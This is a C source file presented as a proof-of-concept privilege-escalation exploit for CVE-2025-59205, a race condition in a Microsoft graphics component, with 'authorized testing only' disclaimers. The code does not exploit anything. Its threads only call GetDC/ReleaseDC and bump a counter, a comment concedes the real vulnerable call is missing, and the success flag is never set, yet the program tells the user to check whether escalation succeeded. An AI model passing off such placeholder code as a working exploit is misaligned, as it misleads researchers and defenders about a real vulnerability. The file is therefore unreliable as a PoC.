CVE-2025-59205

// CVE-2025-59205 - Microsoft Graphics Component Race Condition PoC // Exploit concept: Trigger race condition in graphics component for privilege escalation // WARNING: This is for educational and authorized testing purposes only #include <windows.h> #include <stdio.h> // Thread parameter structure for race condition exploitation typedef struct _RACE_PARAMS { HANDLE hEvent1; HANDLE hEvent2; volatile LONG* counter; BOOL* triggered; } RACE_PARAMS, *PRACE_PARAMS; // Worker thread that attempts to trigger the race condition // by concurrently accessing the vulnerable graphics resource DWORD WINAPI RaceConditionThread(LPVOID lpParam) { PRACE_PARAMS params = (PRACE_PARAMS)lpParam; // Wait for synchronization signal from main thread WaitForSingleObject(params->hEvent1, INFINITE); // Rapidly invoke graphics API that contains the race condition // The vulnerable function performs check-then-use on shared resource for (int i = 0; i < 10000; i++) { // Call vulnerable graphics component API // Example: GDI/DirectX operation that triggers the race HDC hdc = GetDC(NULL); // Trigger the race window by concurrent access InterlockedIncrement(params->counter); // Perform operation that should require elevated privileges // but bypasses check due to race condition // (Actual API call would be the specific vulnerable function) ReleaseDC(NULL, hdc); if (*params->triggered) { break; } } // Signal completion SetEvent(params->hEvent2); return 0; } int main(int argc, char* argv[]) { printf("[*] CVE-2025-59205 PoC - Race Condition in Microsoft Graphics Component\n"); printf("[*] WARNING: For authorized testing only\n\n"); // Check current privilege level BOOL isElevated = FALSE; HANDLE hToken = NULL; if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { TOKEN_ELEVATION elevation; DWORD cbSize = sizeof(elevation); if (GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &cbSize)) { isElevated = elevation.TokenIsElevated; } CloseHandle(hToken); } if (isElevated) { printf("[+] Already running with elevated privileges\n"); return 0; } printf("[*] Current process running with limited privileges\n"); printf("[*] Attempting to exploit race condition for privilege escalation...\n\n"); // Setup race condition parameters volatile LONG counter = 0; BOOL triggered = FALSE; HANDLE hEvent1 = CreateEvent(NULL, TRUE, FALSE, NULL); HANDLE hEvent2 = CreateEvent(NULL, TRUE, FALSE, NULL); RACE_PARAMS params = { hEvent1, hEvent2, &counter, &triggered }; // Create multiple threads to increase race condition probability const int NUM_THREADS = 8; HANDLE hThreads[NUM_THREADS]; for (int i = 0; i < NUM_THREADS; i++) { hThreads[i] = CreateThread(NULL, 0, RaceConditionThread, &params, 0, NULL); } // Signal all threads to start simultaneously SetEvent(hEvent1); // Wait for threads to complete WaitForMultipleObjects(NUM_THREADS, hThreads, TRUE, INFINITE); // Cleanup for (int i = 0; i < NUM_THREADS; i++) { CloseHandle(hThreads[i]); } CloseHandle(hEvent1); CloseHandle(hEvent2); printf("[*] Exploit attempt completed. Final counter: %ld\n", counter); printf("[*] Check if privilege escalation was successful\n"); return 0; }

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